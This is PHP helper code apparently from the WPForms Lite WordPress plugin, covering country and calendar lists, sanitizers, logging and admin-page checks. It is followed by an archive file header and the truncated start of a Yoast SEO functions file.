'HT' => esc_html__( 'Haiti', 'wpforms-lite' ),
'HM' => esc_html__( 'Heard Island and McDonald Islands', 'wpforms-lite' ),
'HN' => esc_html__( 'Honduras', 'wpforms-lite' ),
'HK' => esc_html__( 'Hong Kong', 'wpforms-lite' ),
'HU' => esc_html__( 'Hungary', 'wpforms-lite' ),
'IS' => esc_html__( 'Iceland', 'wpforms-lite' ),
'IN' => esc_html__( 'India', 'wpforms-lite' ),
'ID' => esc_html__( 'Indonesia', 'wpforms-lite' ),
'IR' => esc_html__( 'Iran (Islamic Republic of)', 'wpforms-lite' ),
'IQ' => esc_html__( 'Iraq', 'wpforms-lite' ),
'IE' => esc_html__( 'Ireland (Republic of)', 'wpforms-lite' ),
'IM' => esc_html__( 'Isle of Man', 'wpforms-lite' ),
'IL' => esc_html__( 'Israel', 'wpforms-lite' ),
'IT' => esc_html__( 'Italy', 'wpforms-lite' ),
'JM' => esc_html__( 'Jamaica', 'wpforms-lite' ),
'JP' => esc_html__( 'Japan', 'wpforms-lite' ),
'JE' => esc_html__( 'Jersey', 'wpforms-lite' ),
'JO' => esc_html__( 'Jordan', 'wpforms-lite' ),
'KZ' => esc_html__( 'Kazakhstan', 'wpforms-lite' ),
'KE' => esc_html__( 'Kenya', 'wpforms-lite' ),
'KI' => esc_html__( 'Kiribati', 'wpforms-lite' ),
'KP' => esc_html__( 'Korea (Democratic People\'s Republic of)', 'wpforms-lite' ),
'KR' => esc_html__( 'Korea (Republic of)', 'wpforms-lite' ),
'KW' => esc_html__( 'Kuwait', 'wpforms-lite' ),
'KG' => esc_html__( 'Kyrgyzstan', 'wpforms-lite' ),
'LA' => esc_html__( 'Lao People\'s Democratic Republic', 'wpforms-lite' ),
'LV' => esc_html__( 'Latvia', 'wpforms-lite' ),
'LB' => esc_html__( 'Lebanon', 'wpforms-lite' ),
'LS' => esc_html__( 'Lesotho', 'wpforms-lite' ),
'LR' => esc_html__( 'Liberia', 'wpforms-lite' ),
'LY' => esc_html__( 'Libya', 'wpforms-lite' ),
'LI' => esc_html__( 'Liechtenstein', 'wpforms-lite' ),
'LT' => esc_html__( 'Lithuania', 'wpforms-lite' ),
'LU' => esc_html__( 'Luxembourg', 'wpforms-lite' ),
'MO' => esc_html__( 'Macao', 'wpforms-lite' ),
'MK' => esc_html__( 'Macedonia (Republic of)', 'wpforms-lite' ),
'MG' => esc_html__( 'Madagascar', 'wpforms-lite' ),
'MW' => esc_html__( 'Malawi', 'wpforms-lite' ),
'MY' => esc_html__( 'Malaysia', 'wpforms-lite' ),
'MV' => esc_html__( 'Maldives', 'wpforms-lite' ),
'ML' => esc_html__( 'Mali', 'wpforms-lite' ),
'MT' => esc_html__( 'Malta', 'wpforms-lite' ),
'MH' => esc_html__( 'Marshall Islands', 'wpforms-lite' ),
'MQ' => esc_html__( 'Martinique', 'wpforms-lite' ),
'MR' => esc_html__( 'Mauritania', 'wpforms-lite' ),
'MU' => esc_html__( 'Mauritius', 'wpforms-lite' ),
'YT' => esc_html__( 'Mayotte', 'wpforms-lite' ),
'MX' => esc_html__( 'Mexico', 'wpforms-lite' ),
'FM' => esc_html__( 'Micronesia (Federated States of)', 'wpforms-lite' ),
'MD' => esc_html__( 'Moldova (Republic of)', 'wpforms-lite' ),
'MC' => esc_html__( 'Monaco', 'wpforms-lite' ),
'MN' => esc_html__( 'Mongolia', 'wpforms-lite' ),
'ME' => esc_html__( 'Montenegro', 'wpforms-lite' ),
'MS' => esc_html__( 'Montserrat', 'wpforms-lite' ),
'MA' => esc_html__( 'Morocco', 'wpforms-lite' ),
'MZ' => esc_html__( 'Mozambique', 'wpforms-lite' ),
'MM' => esc_html__( 'Myanmar', 'wpforms-lite' ),
'NA' => esc_html__( 'Namibia', 'wpforms-lite' ),
'NR' => esc_html__( 'Nauru', 'wpforms-lite' ),
'NP' => esc_html__( 'Nepal', 'wpforms-lite' ),
'NL' => esc_html__( 'Netherlands', 'wpforms-lite' ),
'NC' => esc_html__( 'New Caledonia', 'wpforms-lite' ),
'NZ' => esc_html__( 'New Zealand', 'wpforms-lite' ),
'NI' => esc_html__( 'Nicaragua', 'wpforms-lite' ),
'NE' => esc_html__( 'Niger', 'wpforms-lite' ),
'NG' => esc_html__( 'Nigeria', 'wpforms-lite' ),
'NU' => esc_html__( 'Niue', 'wpforms-lite' ),
'NF' => esc_html__( 'Norfolk Island', 'wpforms-lite' ),
'MP' => esc_html__( 'Northern Mariana Islands', 'wpforms-lite' ),
'NO' => esc_html__( 'Norway', 'wpforms-lite' ),
'OM' => esc_html__( 'Oman', 'wpforms-lite' ),
'PK' => esc_html__( 'Pakistan', 'wpforms-lite' ),
'PW' => esc_html__( 'Palau', 'wpforms-lite' ),
'PS' => esc_html__( 'Palestine (State of)', 'wpforms-lite' ),
'PA' => esc_html__( 'Panama', 'wpforms-lite' ),
'PG' => esc_html__( 'Papua New Guinea', 'wpforms-lite' ),
'PY' => esc_html__( 'Paraguay', 'wpforms-lite' ),
'PE' => esc_html__( 'Peru', 'wpforms-lite' ),
'PH' => esc_html__( 'Philippines', 'wpforms-lite' ),
'PN' => esc_html__( 'Pitcairn', 'wpforms-lite' ),
'PL' => esc_html__( 'Poland', 'wpforms-lite' ),
'PT' => esc_html__( 'Portugal', 'wpforms-lite' ),
'PR' => esc_html__( 'Puerto Rico', 'wpforms-lite' ),
'QA' => esc_html__( 'Qatar', 'wpforms-lite' ),
'RE' => esc_html__( 'Réunion', 'wpforms-lite' ),
'RO' => esc_html__( 'Romania', 'wpforms-lite' ),
'RU' => esc_html__( 'Russian Federation', 'wpforms-lite' ),
'RW' => esc_html__( 'Rwanda', 'wpforms-lite' ),
'BL' => esc_html__( 'Saint Barthélemy', 'wpforms-lite' ),
'SH' => esc_html__( 'Saint Helena, Ascension and Tristan da Cunha', 'wpforms-lite' ),
'KN' => esc_html__( 'Saint Kitts and Nevis', 'wpforms-lite' ),
'LC' => esc_html__( 'Saint Lucia', 'wpforms-lite' ),
'MF' => esc_html__( 'Saint Martin (French part)', 'wpforms-lite' ),
'PM' => esc_html__( 'Saint Pierre and Miquelon', 'wpforms-lite' ),
'VC' => esc_html__( 'Saint Vincent and the Grenadines', 'wpforms-lite' ),
'WS' => esc_html__( 'Samoa', 'wpforms-lite' ),
'SM' => esc_html__( 'San Marino', 'wpforms-lite' ),
'ST' => esc_html__( 'Sao Tome and Principe', 'wpforms-lite' ),
'SA' => esc_html__( 'Saudi Arabia', 'wpforms-lite' ),
'SN' => esc_html__( 'Senegal', 'wpforms-lite' ),
'RS' => esc_html__( 'Serbia', 'wpforms-lite' ),
'SC' => esc_html__( 'Seychelles', 'wpforms-lite' ),
'SL' => esc_html__( 'Sierra Leone', 'wpforms-lite' ),
'SG' => esc_html__( 'Singapore', 'wpforms-lite' ),
'SX' => esc_html__( 'Sint Maarten (Dutch part)', 'wpforms-lite' ),
'SK' => esc_html__( 'Slovakia', 'wpforms-lite' ),
'SI' => esc_html__( 'Slovenia', 'wpforms-lite' ),
'SB' => esc_html__( 'Solomon Islands', 'wpforms-lite' ),
'SO' => esc_html__( 'Somalia', 'wpforms-lite' ),
'ZA' => esc_html__( 'South Africa', 'wpforms-lite' ),
'GS' => esc_html__( 'South Georgia and the South Sandwich Islands', 'wpforms-lite' ),
'SS' => esc_html__( 'South Sudan', 'wpforms-lite' ),
'ES' => esc_html__( 'Spain', 'wpforms-lite' ),
'LK' => esc_html__( 'Sri Lanka', 'wpforms-lite' ),
'SD' => esc_html__( 'Sudan', 'wpforms-lite' ),
'SR' => esc_html__( 'Suriname', 'wpforms-lite' ),
'SJ' => esc_html__( 'Svalbard and Jan Mayen', 'wpforms-lite' ),
'SZ' => esc_html__( 'Swaziland', 'wpforms-lite' ),
'SE' => esc_html__( 'Sweden', 'wpforms-lite' ),
'CH' => esc_html__( 'Switzerland', 'wpforms-lite' ),
'SY' => esc_html__( 'Syrian Arab Republic', 'wpforms-lite' ),
'TW' => esc_html__( 'Taiwan, Province of China', 'wpforms-lite' ),
'TJ' => esc_html__( 'Tajikistan', 'wpforms-lite' ),
'TZ' => esc_html__( 'Tanzania (United Republic of)', 'wpforms-lite' ),
'TH' => esc_html__( 'Thailand', 'wpforms-lite' ),
'TL' => esc_html__( 'Timor-Leste', 'wpforms-lite' ),
'TG' => esc_html__( 'Togo', 'wpforms-lite' ),
'TK' => esc_html__( 'Tokelau', 'wpforms-lite' ),
'TO' => esc_html__( 'Tonga', 'wpforms-lite' ),
'TT' => esc_html__( 'Trinidad and Tobago', 'wpforms-lite' ),
'TN' => esc_html__( 'Tunisia', 'wpforms-lite' ),
'TR' => esc_html__( 'Turkey', 'wpforms-lite' ),
'TM' => esc_html__( 'Turkmenistan', 'wpforms-lite' ),
'TC' => esc_html__( 'Turks and Caicos Islands', 'wpforms-lite' ),
'TV' => esc_html__( 'Tuvalu', 'wpforms-lite' ),
'UG' => esc_html__( 'Uganda', 'wpforms-lite' ),
'UA' => esc_html__( 'Ukraine', 'wpforms-lite' ),
'AE' => esc_html__( 'United Arab Emirates', 'wpforms-lite' ),
'GB' => esc_html__( 'United Kingdom of Great Britain and Northern Ireland', 'wpforms-lite' ),
'US' => esc_html__( 'United States of America', 'wpforms-lite' ),
'UM' => esc_html__( 'United States Minor Outlying Islands', 'wpforms-lite' ),
'UY' => esc_html__( 'Uruguay', 'wpforms-lite' ),
'UZ' => esc_html__( 'Uzbekistan', 'wpforms-lite' ),
'VU' => esc_html__( 'Vanuatu', 'wpforms-lite' ),
'VA' => esc_html__( 'Vatican City State', 'wpforms-lite' ),
'VE' => esc_html__( 'Venezuela (Bolivarian Republic of)', 'wpforms-lite' ),
'VN' => esc_html__( 'Viet Nam', 'wpforms-lite' ),
'VG' => esc_html__( 'Virgin Islands (British)', 'wpforms-lite' ),
'VI' => esc_html__( 'Virgin Islands (U.S.)', 'wpforms-lite' ),
'WF' => esc_html__( 'Wallis and Futuna', 'wpforms-lite' ),
'EH' => esc_html__( 'Western Sahara', 'wpforms-lite' ),
'YE' => esc_html__( 'Yemen', 'wpforms-lite' ),
'ZM' => esc_html__( 'Zambia', 'wpforms-lite' ),
'ZW' => esc_html__( 'Zimbabwe', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_countries', $countries );
}
/**
* Calendar Months.
*
* @since 1.3.7
* @return array
*/
function wpforms_months() {
$months = array(
'Jan' => esc_html__( 'January', 'wpforms-lite' ),
'Feb' => esc_html__( 'February', 'wpforms-lite' ),
'Mar' => esc_html__( 'March', 'wpforms-lite' ),
'Apr' => esc_html__( 'April', 'wpforms-lite' ),
'May' => esc_html__( 'May', 'wpforms-lite' ),
'Jun' => esc_html__( 'June', 'wpforms-lite' ),
'Jul' => esc_html__( 'July', 'wpforms-lite' ),
'Aug' => esc_html__( 'August', 'wpforms-lite' ),
'Sep' => esc_html__( 'September', 'wpforms-lite' ),
'Oct' => esc_html__( 'October', 'wpforms-lite' ),
'Nov' => esc_html__( 'November', 'wpforms-lite' ),
'Dec' => esc_html__( 'December', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_months', $months );
}
/**
* Calendar Days.
*
* @since 1.3.7
* @return array
*/
function wpforms_days() {
$days = array(
'Sun' => esc_html__( 'Sunday', 'wpforms-lite' ),
'Mon' => esc_html__( 'Monday', 'wpforms-lite' ),
'Tue' => esc_html__( 'Tuesday', 'wpforms-lite' ),
'Wed' => esc_html__( 'Wednesday', 'wpforms-lite' ),
'Thu' => esc_html__( 'Thursday', 'wpforms-lite' ),
'Fri' => esc_html__( 'Friday', 'wpforms-lite' ),
'Sat' => esc_html__( 'Saturday', 'wpforms-lite' ),
);
return apply_filters( 'wpforms_days', $days );
}
/**
* Lookup user IP.
*
* There are many ways to do this, but we prefer the way EDD does it.
* https://github.com/easydigitaldownloads/easy-digital-downloads/blob/master/includes/misc-functions.php#L163
*
* @since 1.2.5
*
* @return string
*/
function wpforms_get_ip() {
$ip = '127.0.0.1';
if ( ! empty( $_SERVER['HTTP_CLIENT_IP'] ) ) {
$ip = $_SERVER['HTTP_CLIENT_IP']; //phpcs:ignore
} elseif ( ! empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ) {
$ip = explode( ',', $_SERVER['HTTP_X_FORWARDED_FOR'] ); //phpcs:ignore
$ip = trim( $ip[0] );
} elseif ( ! empty( $_SERVER['REMOTE_ADDR'] ) ) {
$ip = $_SERVER['REMOTE_ADDR']; //phpcs:ignore
}
$ip_array = array_map( 'trim', explode( ',', $ip ) );
return sanitize_text_field( apply_filters( 'wpforms_get_ip', $ip_array[0] ) );
}
/**
* Sanitizes hex color.
*
* @since 1.2.1
*
* @param string $color
*
* @return string
*/
function wpforms_sanitize_hex_color( $color ) {
if ( empty( $color ) ) {
return '';
}
// 3 or 6 hex digits, or the empty string.
if ( preg_match( '|^#([A-Fa-f0-9]{3}){1,2}$|', $color ) ) {
return $color;
}
return '';
}
/**
* Sanitizes error message, primarily used during form frontend output.
*
* @since 1.3.7
*
* @param string $error
*
* @return string
*/
function wpforms_sanitize_error( $error = '' ) {
$allow = array(
'a' => array(
'href' => array(),
'title' => array(),
),
'br' => array(),
'em' => array(),
'strong' => array(),
'p' => array(),
);
return wp_kses( $error, $allow );
}
/**
* Sanitizes a string, that can be a multiline.
* If WP core `sanitize_textarea_field()` exists (after 4.7.0) - use it.
* Otherwise - split onto separate lines, sanitize each one, merge again.
*
* @since 1.4.1
*
* @param string $string
*
* @return string If empty var is passed, or not a string - return unmodified. Otherwise - sanitize.
*/
function wpforms_sanitize_textarea_field( $string ) {
if ( empty( $string ) || ! is_string( $string ) ) {
return $string;
}
if ( function_exists( 'sanitize_textarea_field' ) ) {
$string = sanitize_textarea_field( $string );
} else {
$string = implode( "\n", array_map( 'sanitize_text_field', explode( "\n", $string ) ) );
}
return $string;
}
/**
* Sanitizes an array, that consists of values as strings.
* After that - merge all array values into multiline string.
*
* @since 1.4.1
*
* @param array $array
*
* @return mixed If not an array is passed (or empty var) - return unmodified var. Otherwise - a merged array into multiline string.
*/
function wpforms_sanitize_array_combine( $array ) {
if ( empty( $array ) || ! is_array( $array ) ) {
return $array;
}
return implode( "\n", array_map( 'sanitize_text_field', $array ) );
}
/**
* Detect if we should use a light or dark color based on the color given.
*
* @since 1.2.5
* @link https://docs.woocommerce.com/wc-apidocs/source-function-wc_light_or_dark.html#608-627
*
* @param mixed $color
* @param string $dark (default: '#000000').
* @param string $light (default: '#FFFFFF').
*
* @return string
*/
function wpforms_light_or_dark( $color, $dark = '#000000', $light = '#FFFFFF' ) {
$hex = str_replace( '#', '', $color );
$c_r = hexdec( substr( $hex, 0, 2 ) );
$c_g = hexdec( substr( $hex, 2, 2 ) );
$c_b = hexdec( substr( $hex, 4, 2 ) );
$brightness = ( ( $c_r * 299 ) + ( $c_g * 587 ) + ( $c_b * 114 ) ) / 1000;
return $brightness > 155 ? $dark : $light;
}
/**
* Builds and returns either a taxonomy or post type object that is
* nests to accommodate any hierarchy.
*
* @since 1.3.9
* @since 1.5.0 Return array only. Empty array of no data.
*
* @param array $args Object arguments to pass to data retrieval function.
* @param bool $flat Preserve hierarchy or not. False by default - preserve it.
*
* @return array
*/
function wpforms_get_hierarchical_object( $args = array(), $flat = false ) {
if ( empty( $args['taxonomy'] ) && empty( $args['post_type'] ) ) {
return array();
}
$children = array();
$parents = array();
$ref_parent = '';
$ref_name = '';
if ( ! empty( $args['post_type'] ) ) {
$defaults = array(
'posts_per_page' => - 1,
'orderby' => 'title',
'order' => 'ASC',
);
$args = wp_parse_args( $args, $defaults );
$items = get_posts( $args );
$ref_parent = 'post_parent';
$ref_id = 'ID';
$ref_name = 'post_title';
} elseif ( ! empty( $args['taxonomy'] ) ) {
$defaults = array(
'hide_empty' => false,
);
$args = wp_parse_args( $args, $defaults );
$items = get_terms( $args );
$ref_parent = 'parent';
$ref_id = 'term_id';
$ref_name = 'name';
}
if ( empty( $items ) || is_wp_error( $items ) ) {
return array();
}
foreach ( $items as $item ) {
if ( $item->{$ref_parent} ) {
$children[ $item->{$ref_id} ] = $item;
$children[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
} else {
$parents[ $item->{$ref_id} ] = $item;
$parents[ $item->{$ref_id} ]->ID = (int) $item->{$ref_id};
}
}
$children_count = count( $children );
while ( $children_count >= 1 ) {
foreach ( $children as $child ) {
_wpforms_get_hierarchical_object_search( $child, $parents, $children, $ref_parent );
// $children is modified by reference, so we need to recount to make sure we met the limits.
$children_count = count( $children );
}
}
if ( $flat ) {
$parents_flat = array();
_wpforms_get_hierarchical_object_flatten( $parents, $parents_flat, $ref_name );
return $parents_flat;
}
return $parents;
}
/**
* Searches a given array and finds the parent of the provided object.
*
* @since 1.3.9
*
* @param object $child
* @param array $parents
* @param array $children
* @param string $ref_parent
*/
function _wpforms_get_hierarchical_object_search( $child, &$parents, &$children, $ref_parent ) {
foreach ( $parents as $id => $parent ) {
if ( $parent->ID === $child->{$ref_parent} ) {
if ( empty( $parent->children ) ) {
$parents[ $id ]->children = array(
$child->ID => $child,
);
} else {
$parents[ $id ]->children[ $child->ID ] = $child;
}
unset( $children[ $child->ID ] );
} elseif ( ! empty( $parent->children ) && is_array( $parent->children ) ) {
_wpforms_get_hierarchical_object_search( $child, $parent->children, $children, $ref_parent );
}
}
}
/**
* Flattens a hierarchical object.
*
* @since 1.3.9
*
* @param array $array
* @param array $output
* @param string $ref_name
* @param int $level
*/
function _wpforms_get_hierarchical_object_flatten( $array, &$output, $ref_name = 'name', $level = 0 ) {
foreach ( $array as $key => $item ) {
$indicator = apply_filters( 'wpforms_hierarchical_object_indicator', '—' );
$item->{$ref_name} = str_repeat( $indicator, $level ) . ' ' . $item->{$ref_name};
$item->depth = $level + 1;
$output[ $item->ID ] = $item;
if ( ! empty( $item->children ) ) {
_wpforms_get_hierarchical_object_flatten( $item->children, $output, $ref_name, $level + 1 );
unset( $output[ $item->ID ]->children );
}
}
}
/**
* Returns field choice properties for field configured with dynamic choices.
*
* @since 1.4.5
*
* @param array $field Field settings.
* @param int $form_id Form ID.
* @param array $form_data Form data and settings.
*
* @return false|array
*/
function wpforms_get_field_dynamic_choices( $field, $form_id, $form_data = array() ) {
if ( empty( $field['dynamic_choices'] ) ) {
return false;
}
$choices = array();
if ( 'post_type' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_post_type'] ) ) {
return false;
}
$posts = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_post_type_args',
array(
'post_type' => $field['dynamic_post_type'],
'posts_per_page' => -1,
'orderby' => 'title',
'order' => 'ASC',
),
$field,
$form_id
),
true
);
foreach ( $posts as $post ) {
$choices[] = array(
'value' => $post->ID,
'label' => $post->post_title,
'depth' => isset( $post->depth ) ? absint( $post->depth ) : 1,
);
}
} elseif ( 'taxonomy' === $field['dynamic_choices'] ) {
if ( empty( $field['dynamic_taxonomy'] ) ) {
return false;
}
$terms = wpforms_get_hierarchical_object(
apply_filters(
'wpforms_dynamic_choice_taxonomy_args',
array(
'taxonomy' => $field['dynamic_taxonomy'],
'hide_empty' => false,
),
$field,
$form_data
),
true
);
foreach ( $terms as $term ) {
$choices[] = array(
'value' => $term->term_id,
'label' => $term->name,
'depth' => isset( $term->depth ) ? absint( $term->depth ) : 1,
);
}
}
return $choices;
}
/**
* Insert an array into another array before/after a certain key.
*
* @since 1.3.9
* @link https://gist.github.com/scribu/588429
*
* @param array $array The initial array.
* @param array $pairs The array to insert.
* @param string $key The certain key.
* @param string $position Where to insert the array - before or after the key.
*
* @return array
*/
function wpforms_array_insert( $array, $pairs, $key, $position = 'after' ) {
$key_pos = array_search( $key, array_keys( $array ), true );
if ( 'after' === $position ) {
$key_pos ++;
}
if ( false !== $key_pos ) {
$result = array_slice( $array, 0, $key_pos );
$result = array_merge( $result, $pairs );
$result = array_merge( $result, array_slice( $array, $key_pos ) );
} else {
$result = array_merge( $array, $pairs );
}
return $result;
}
/**
* Recursively remove empty strings from an array.
*
* @since 1.3.9.1
*
* @param array $data
*
* @return array
*/
function wpforms_array_remove_empty_strings( $data ) {
foreach ( $data as $key => $value ) {
if ( is_array( $value ) ) {
$data[ $key ] = wpforms_array_remove_empty_strings( $data[ $key ] );
}
if ( '' === $data[ $key ] ) {
unset( $data[ $key ] );
}
}
return $data;
}
/**
* Whether plugin works in a debug mode.
*
* @since 1.2.3
*
* @return bool
*/
function wpforms_debug() {
$debug = false;
if ( ( defined( 'WPFORMS_DEBUG' ) && true === WPFORMS_DEBUG ) && is_super_admin() ) {
$debug = true;
}
$debug_option = get_option( 'wpforms_debug' );
if ( $debug_option ) {
$current_user = wp_get_current_user();
if ( $current_user->user_login === $debug_option ) {
$debug = true;
}
}
return apply_filters( 'wpforms_debug', $debug );
}
/**
* Helper function to display debug data.
*
* @since 1.0.0
*
* @param mixed $data What to dump, can be any type.
* @param bool $echo Whether to print or return. Default is to print.
*
* @return string
*/
function wpforms_debug_data( $data, $echo = true ) {
if ( wpforms_debug() ) {
$output = '<textarea style="background:#fff;margin: 20px 0;width:100%;height:500px;font-size:12px;font-family: Consolas,Monaco,monospace;direction: ltr;unicode-bidi: embed;line-height: 1.4;padding: 4px 6px 1px;" readonly>';
$output .= "=================== WPFORMS DEBUG ===================\n\n";
if ( is_array( $data ) || is_object( $data ) ) {
$output .= print_r( $data, true ); // phpcs:ignore
} else {
$output .= $data;
}
$output .= '</textarea>';
if ( $echo ) {
echo $output; // phpcs:ignore
} else {
return $output;
}
}
}
/**
* Log helper.
*
* @since 1.0.0
*
* @param string $title Title of a log message.
* @param mixed $message Content of a log message.
* @param array $args Expected keys: form_id, meta, parent.
*/
function wpforms_log( $title = '', $message = '', $args = array() ) {
// Require log title.
if ( empty( $title ) ) {
return;
}
// Force logging everything when in debug mode.
if ( ! wpforms_debug() ) {
/**
* Compare error levels to determine if we should log.
* Current supported levels:
* - Errors (error)
* - Spam (spam)
* - Entries (entry)
* - Payments (payment)
* - Providers (provider)
* - Conditional Logic (conditional_logic)
*/
$type = ! empty( $args['type'] ) ? (array) $args['type'] : array( 'error' );
$levels = array_intersect( $type, get_option( 'wpforms_logging', array() ) );
if ( empty( $levels ) ) {
return;
}
}
// Meta.
if ( ! empty( $args['form_id'] ) ) {
$meta = array(
'form' => absint( $args['form_id'] ),
);
} elseif ( ! empty( $args['meta'] ) ) {
$meta = $args['meta'];
} else {
$meta = '';
}
// Parent element.
$parent = ! empty( $args['parent'] ) ? $args['parent'] : 0;
// Make arrays and objects look nice.
if ( is_array( $message ) || is_object( $message ) ) {
$message = '<pre>' . print_r( $message, true ) . '</pre>'; // phpcs:ignore
}
// Create log entry.
wpforms()->logs->add( $title, $message, $parent, $parent, $meta );
}
/**
* Check whether the current page is in AMP mode or not.
* We need to check for specific functions, as there is no special AMP header.
*
* @since 1.4.1
*
* @param bool $check_theme_support Whether theme support should be checked. Defaults to true.
* @return bool
*/
function wpforms_is_amp( $check_theme_support = true ) {
$is_amp = false;
if (
// AMP by Automattic; ampforwp.
( function_exists( 'is_amp_endpoint' ) && is_amp_endpoint() ) ||
// Better AMP.
( function_exists( 'is_better_amp' ) && is_better_amp() )
) {
$is_amp = true;
}
if ( $is_amp && $check_theme_support ) {
$is_amp = current_theme_supports( 'amp' );
}
return apply_filters( 'wpforms_is_amp', $is_amp );
}
/**
* Decode special characters, both alpha- (<) and numeric-based (').
*
* @since 1.4.1
*
* @param string $string Raw string to decode.
*
* @return string
*/
function wpforms_decode_string( $string ) {
if ( ! is_string( $string ) ) {
return $string;
}
return wp_kses_decode_entities( html_entity_decode( $string, ENT_QUOTES ) );
}
add_filter( 'wpforms_email_message', 'wpforms_decode_string' );
/**
* Get a suffix for assets, `.min` if debug is disabled.
*
* @since 1.4.1
*
* @return string
*/
function wpforms_get_min_suffix() {
return wpforms_debug() ? '' : '.min';
}
/**
* Get the required label text, with a filter.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_required_label() {
return apply_filters( 'wpforms_required_label', esc_html__( 'This field is required.', 'wpforms-lite' ) );
}
/**
* Get the required field label HTML, with a filter.
*
* @since 1.4.8
*
* @return string
*/
function wpforms_get_field_required_label() {
$label_html = apply_filters_deprecated(
'wpforms_field_required_label',
array( ' <span class="wpforms-required-label">*</span>' ),
'1.4.8 of WPForms plugin',
'wpforms_get_field_required_label'
);
return apply_filters( 'wpforms_get_field_required_label', $label_html );
}
/**
* Get the default capability to manage everything for WPForms.
*
* @since 1.4.4
*
* @return string
*/
function wpforms_get_capability_manage_options() {
return apply_filters( 'wpforms_manage_cap', 'manage_options' );
}
/**
* Check permissions for currently logged in user.
*
* @since 1.4.4
*
* @return bool
*/
function wpforms_current_user_can() {
$capability = wpforms_get_capability_manage_options();
return apply_filters( 'wpforms_current_user_can', current_user_can( $capability ), $capability );
}
/**
* Get the certain date of a specified day in a specified format.
*
* @since 1.4.4
*
* @param string $period Supported values: start, end.
* @param string $timestamp Default is the current timestamp, if left empty.
* @param string $format Default is a MySQL format.
*
* @return string
*/
function wpforms_get_day_period_date( $period, $timestamp = '', $format = 'Y-m-d H:i:s' ) {
$date = '';
if ( empty( $timestamp ) ) {
$timestamp = time();
}
switch ( $period ) {
case 'start_of_day':
$date = date( $format, strtotime( 'today', $timestamp ) );
break;
case 'end_of_day':
$date = date( $format, strtotime( 'tomorrow', $timestamp ) - 1 );
break;
}
return $date;
}
/**
* Get an array of all the active provider addons.
*
* @since 1.4.7
*
* @return array
*/
function wpforms_get_providers_available() {
return (array) apply_filters( 'wpforms_providers_available', array() );
}
/**
* Get options for all providers.
*
* @since 1.4.7
*
* @param string $provider Define a single provider to get options for this one only.
*
* @return array
*/
function wpforms_get_providers_options( $provider = '' ) {
$options = get_option( 'wpforms_providers', array() );
$provider = sanitize_key( $provider );
$data = $options;
if ( ! empty( $provider ) && isset( $options[ $provider ] ) ) {
$data = $options[ $provider ];
}
return (array) apply_filters( 'wpforms_get_providers_options', $data, $provider );
}
/**
* Update options for all providers.
*
* @since 1.4.7
*
* @param string $provider Provider slug.
* @param array|false $options If false is passed - provider will be removed. Otherwise saved.
* @param string $key Optional key to identify which connection to update. If empty - generate a new one.
*/
function wpforms_update_providers_options( $provider, $options, $key = '' ) {
$providers = wpforms_get_providers_options();
$id = ! empty( $key ) ? $key : uniqid();
$provider = sanitize_key( $provider );
if ( $options ) {
$providers[ $provider ][ $id ] = (array) $options;
} else {
unset( $providers[ $provider ] );
}
update_option( 'wpforms_providers', $providers );
}
/**
* Helper function to determine if loading an WPForms related admin page.
*
* Here we determine if the current administration page is owned/created by
* WPForms. This is done in compliance with WordPress best practices for
* development, so that we only load required WPForms CSS and JS files on pages
* we create. As a result we do not load our assets admin wide, where they might
* conflict with other plugins needlessly, also leading to a better, faster user
* experience for our users.
*
* @since 1.3.9
*
* @param string $slug Slug identifier for a specific WPForms admin page.
* @param string $view Slug identifier for a specific WPForms admin page view ("subpage").
*
* @return boolean
*/
function wpforms_is_admin_page( $slug = '', $view = '' ) {
// Check against basic requirements.
if (
! is_admin() ||
empty( $_REQUEST['page'] ) ||
strpos( $_REQUEST['page'], 'wpforms' ) === false
) {
return false;
}
// Check against page slug identifier.
if (
( ! empty( $slug ) && 'wpforms-' . $slug !== $_REQUEST['page'] ) ||
( empty( $slug ) && 'wpforms-builder' === $_REQUEST['page'] )
) {
return false;
}
// Check against sub-level page view.
if (
! empty( $view ) &&
( empty( $_REQUEST['view'] ) || $view !== $_REQUEST['view'] )
) {
return false;
}
return true;
}
/**
* Get the ISO 639-2 Language Code from user/site locale.
*
* @see http://www.loc.gov/standards/iso639-2/php/code_list.php
*
* @since 1.5.0
*
* @return string
*/
function wpforms_get_language_code() {
$default_lang = 'en';
$locale = get_user_locale();
if ( ! empty( $locale ) ) {
$lang = explode( '_', $locale );
if ( ! empty( $lang ) && is_array( $lang ) ) {
$default_lang = strtolower( $lang[0] );
}
}
return $default_lang;
}
/**
* Determine if we should show the "Show Values" toggle for checkbox, radio, or
* select fields in form builder. Legacy.
*
* @since 1.5.0
*
* @return bool
*/
function wpforms_show_fields_options_setting() {
return apply_filters( 'wpforms_fields_show_options_setting', false );
}
/**
* Check if a string is empty.
*
* @since 1.5.0
*
* @param string $string String to test.
*
* @return bool
*/
function wpforms_is_empty_string( $string ) {
if ( is_string( $string ) && '' === $string ) {
return true;
}
return false;
}
/**
* Return URL to form preview page.
*
* @since 1.5.1
*
* @param int $form_id Form ID.
* @param bool $new_window New window flag.
*
* @return string
*/
function wpforms_get_form_preview_url( $form_id, $new_window = false ) {
$url = add_query_arg(
array(
'wpforms_form_preview' => absint( $form_id ),
),
home_url()
);
if ( $new_window ) {
$url = add_query_arg(
array(
'new_window' => 1,
),
$url
);
}
return $url;
}
home/xbodynamge/crosstraining/wp-content/plugins/wordpress-seo/src/functions.php 0000644 00000001617 15114674547 0024444 0 ustar 00 <?php
/**
* WPSEO plugin file.
*
* @package WPSEO\Internals
*/
if ( ! defined( 'WPSEO_VERSION' ) ) {
header( 'Status: 403 Forbidden' );
header( 'HTTP/1.1 403 Forbidden' );
exit();
}
use Yoast\WP\SEO\Main;
if ( is_dir( WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY ) ) {
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/guzzle/src/functions.php';
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/psr7/src/functions_include.php';
require_once WPSEO_PATH . YOAST_VENDOR_PREFIX_DIRECTORY . '/guzzlehttp/promises/src/functions_include.php';
}
/**
* Retrieves the main instance.
*
* @phpcs:disable WordPress.NamingConventions -- Should probably be renamed, but leave for now.
*
* @return Main The main instance.
*/
function YoastSEO() {
// phpcs:enable
static $main;
